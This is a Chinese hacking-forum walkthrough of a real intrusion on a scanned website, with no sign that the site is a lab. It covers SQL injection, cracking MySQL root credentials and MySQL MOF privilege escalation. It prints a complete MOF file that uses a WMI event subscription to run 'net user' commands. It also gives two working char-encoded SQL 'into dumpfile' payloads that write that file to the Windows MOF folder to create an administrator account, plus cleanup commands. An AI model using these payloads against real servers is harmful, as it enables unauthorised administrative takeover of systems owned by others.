無shell情況下的mysql遠程mof提權利用方法詳解

掃到一個站的注入
<ignore_js_op> 
在havij中得到mysql數據庫中mysql庫保存的數據庫密碼：
<ignore_js_op> 
有時候發現1.15版的還是最好用，最穩定，雖然速度慢了一點。
照樣放到壇子里讓機油破了
<ignore_js_op> 
感謝Mr.Lu。順便吐槽下，cmd5連個root都要收費。。。
在等着密碼破解出來的時候順便nmap了一下
<ignore_js_op> 
意外發現端口改到了1126，給后面省下了不少時間。
照常外連試試
<ignore_js_op> 
上個帖子里面有基友問這個軟件是什么，我用的是navicat，感覺很好用的
現在的常規思路就是得到絕對路徑，寫一個小馬，再進一步滲透。
但是網站上面暴不出路徑，看看mysql的路徑
用select @@basedir;命令可以看到；
<ignore_js_op> 
網站的路徑大概差不多了，懶得一個一個試了，最近mof提權挺火的，上次失敗了一次，這次再來試試好了。
Mof的科普文很多，大家有興趣看看網盤鏈接這兩個，很詳細的，大家共同學習；

http://pan.baidu.com/share/link?shareid=438074&uk=101689864

http://pan.baidu.com/share/link?shareid=438077&uk=101689864mof文件內容為：

1. #pragma namespace("\\\\.\\root\\subscription")
3. instance of __EventFilter as $EventFilter
4. {
5.     EventNamespace = "Root\\Cimv2";
6.     Name  = "filtP2";
7.     Query = "Select * From __InstanceModificationEvent "
8.             "Where TargetInstance Isa \"Win32_LocalTime\" "
9.             "And TargetInstance.Second = 5";
10.     QueryLanguage = "WQL";
11. };
13. instance of ActiveScriptEventConsumer as $Consumer
14. {
15.     Name = "consPCSV2";
16.     ScriptingEngine = "JScript";
17.     ScriptText =
18.     "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add\")";
19. };
21. instance of __FilterToConsumerBinding
22. {
23.     Consumer   = $Consumer;
24.     Filter = $EventFilter;
25. };

復制代碼

於沒有馬，不能按照網盤里面說的先傳一個mof上去，我就直接一次性寫入。
先是試了試直接將原來的語句寫入，提示失敗，原因就是語句里面很多“；回車”之類的符號。
然后就想轉化為16進制或者asc碼這樣。
先試了16進制。
等了老半天什么還是登陸不上去，就放棄了，改用asc碼，用的sql語句為：

1. select char(35,112,114,97,103,109,97,32,110,97,109,101,115,112,97,99,101,40,34,92,92,92,92,46,92,92,114,111,111,116,92,92,115,117,98,115,99,114,105,112,116,105,111,110,34,41,13,10,13,10,105,110,115,116,97,110,99,101,32,111,102,32,95,95,69,118,101,110,116,70,105,108,116,101,114,32,97,115,32,36,69,118,101,110,116,70,105,108,116,101,114,13,10,123,13,10,32,32,32,32,69,118,101,110,116,78,97,109,101,115,112,97,99,101,32,61,32,34,82,111,111,116,92,92,67,105,109,118,50,34,59,13,10,32,32,32,32,78,97,109,101,32,32,61,32,34,102,105,108,116,80,50,34,59,13,10,32,32,32,32,81,117,101,114,121,32,61,32,34,83,101,108,101,99,116,32,42,32,70,114,111,109,32,95,95,73,110,115,116,97,110,99,101,77,111,100,105,102,105,99,97,116,105,111,110,69,118,101,110,116,32,34,13,10,32,32,32,32,32,32,32,32,32,32,32,32,34,87,104,101,114,101,32,84,97,114,103,101,116,73,110,115,116,97,110,99,101,32,73,115,97,32,92,34,87,105,110,51,50,95,76,111,99,97,108,84,105,109,101,92,34,32,34,13,10,32,32,32,32,32,32,32,32,32,32,32,32,34,65,110,100,32,84,97,114,103,101,116,73,110,115,116,97,110,99,101,46,83,101,99,111,110,100,32,61,32,53,34,59,13,10,32,32,32,32,81,117,101,114,121,76,97,110,103,117,97,103,101,32,61,32,34,87,81,76,34,59,13,10,125,59,13,10,13,10,105,110,115,116,97,110,99,101,32,111,102,32,65,99,116,105,118,101,83,99,114,105,112,116,69,118,101,110,116,67,111,110,115,117,109,101,114,32,97,115,32,36,67,111,110,115,117,109,101,114,13,10,123,13,10,32,32,32,32,78,97,109,101,32,61,32,34,99,111,110,115,80,67,83,86,50,34,59,13,10,32,32,32,32,83,99,114,105,112,116,105,110,103,69,110,103,105,110,101,32,61,32,34,74,83,99,114,105,112,116,34,59,13,10,32,32,32,32,83,99,114,105,112,116,84,101,120,116,32,61,13,10,32,32,32,32,34,118,97,114,32,87,83,72,32,61,32,110,101,119,32,65,99,116,105,118,101,88,79,98,106,101,99,116,40,92,34,87,83,99,114,105,112,116,46,83,104,101,108,108,92,34,41,92,110,87,83,72,46,114,117,110,40,92,34,110,101,116,46,101,120,101,32,117,115,101,114,32,97,100,109,105,110,32,97,100,109,105,110,32,47,97,100,100,92,34,41,34,59,13,10,32,125,59,13,10,13,10,105,110,115,116,97,110,99,101,32,111,102,32,95,95,70,105,108,116,101,114,84,111,67,111,110,115,117,109,101,114,66,105,110,100,105,110,103,13,10,123,13,10,32,32,32,32,67,111,110,115,117,109,101,114,32,32,32,61,32,36,67,111,110,115,117,109,101,114,59,13,10,32,32,32,32,70,105,108,116,101,114,32,61,32,36,69,118,101,110,116,70,105,108,116,101,114,59,13,10,125,59) into dumpfile  'c:/windows/system32/wbem/mof/nullevt.mof';

復制代碼

效果就是添加一個用戶admin密碼admin；
等了有5秒，登陸框的提示從
<ignore_js_op> 
變成了
<ignore_js_op> [size=0.83em]17 小時前 上傳
下載附件 [size=0.83em](51.04 KB)



這時候才意識到一個問題，上面的語句只添加了用戶，忘了提升為管理員了。。。
好吧，重新寫一遍mof

1. select char(35,112,114,97,103,109,97,32,110,97,109,101,115,112,97,99,101,40,34,92,92,92,92,46,92,92,114,111,111,116,92,92,115,117,98,115,99,114,105,112,116,105,111,110,34,41,13,10,13,10,105,110,115,116,97,110,99,101,32,111,102,32,95,95,69,118,101,110,116,70,105,108,116,101,114,32,97,115,32,36,69,118,101,110,116,70,105,108,116,101,114,13,10,123,13,10,32,32,32,32,69,118,101,110,116,78,97,109,101,115,112,97,99,101,32,61,32,34,82,111,111,116,92,92,67,105,109,118,50,34,59,13,10,32,32,32,32,78,97,109,101,32,32,61,32,34,102,105,108,116,80,50,34,59,13,10,32,32,32,32,81,117,101,114,121,32,61,32,34,83,101,108,101,99,116,32,42,32,70,114,111,109,32,95,95,73,110,115,116,97,110,99,101,77,111,100,105,102,105,99,97,116,105,111,110,69,118,101,110,116,32,34,13,10,32,32,32,32,32,32,32,32,32,32,32,32,34,87,104,101,114,101,32,84,97,114,103,101,116,73,110,115,116,97,110,99,101,32,73,115,97,32,92,34,87,105,110,51,50,95,76,111,99,97,108,84,105,109,101,92,34,32,34,13,10,32,32,32,32,32,32,32,32,32,32,32,32,34,65,110,100,32,84,97,114,103,101,116,73,110,115,116,97,110,99,101,46,83,101,99,111,110,100,32,61,32,53,34,59,13,10,32,32,32,32,81,117,101,114,121,76,97,110,103,117,97,103,101,32,61,32,34,87,81,76,34,59,13,10,125,59,13,10,13,10,105,110,115,116,97,110,99,101,32,111,102,32,65,99,116,105,118,101,83,99,114,105,112,116,69,118,101,110,116,67,111,110,115,117,109,101,114,32,97,115,32,36,67,111,110,115,117,109,101,114,13,10,123,13,10,32,32,32,32,78,97,109,101,32,61,32,34,99,111,110,115,80,67,83,86,50,34,59,13,10,32,32,32,32,83,99,114,105,112,116,105,110,103,69,110,103,105,110,101,32,61,32,34,74,83,99,114,105,112,116,34,59,13,10,32,32,32,32,83,99,114,105,112,116,84,101,120,116,32,61,13,10,32,32,32,32,34,118,97,114,32,87,83,72,32,61,32,110,101,119,32,65,99,116,105,118,101,88,79,98,106,101,99,116,40,92,34,87,83,99,114,105,112,116,46,83,104,101,108,108,92,34,41,92,110,87,83,72,46,114,117,110,40,92,34,110,101,116,46,101,120,101,32,108,111,99,97,108,103,114,111,117,112,32,97,100,109,105,110,105,115,116,114,97,116,111,114,115,32,97,100,109,105,110,32,47,97,100,100,92,34,41,34,59,13,10,32,125,59,13,10,13,10,105,110,115,116,97,110,99,101,32,111,102,32,95,95,70,105,108,116,101,114,84,111,67,111,110,115,117,109,101,114,66,105,110,100,105,110,103,13,10,123,13,10,32,32,32,32,67,111,110,115,117,109,101,114,32,32,32,61,32,36,67,111,110,115,117,109,101,114,59,13,10,32,32,32,32,70,105,108,116,101,114,32,61,32,36,69,118,101,110,116,70,105,108,116,101,114,59,13,10,125,59) into dumpfile  'c:/windows/system32/wbem/mof/nullevt.mof';

復制代碼

好了，這樣就順利登進去了；
<ignore_js_op> 

改天研究一下一次性完成添加管理員試試

現在默認它還是會過5s添加一次用戶，解決方法就是:
第一 net stop winmgmt 停止服務，
第二 刪除文件夾：C:\WINDOWS\system32\wbem\Repository\
第三 net start winmgmt 啟動服務
還有其他方法在網盤的文件里面有寫。

一路看起來挺順利的，是因為上次研究過這個。這次寫的詳細點了。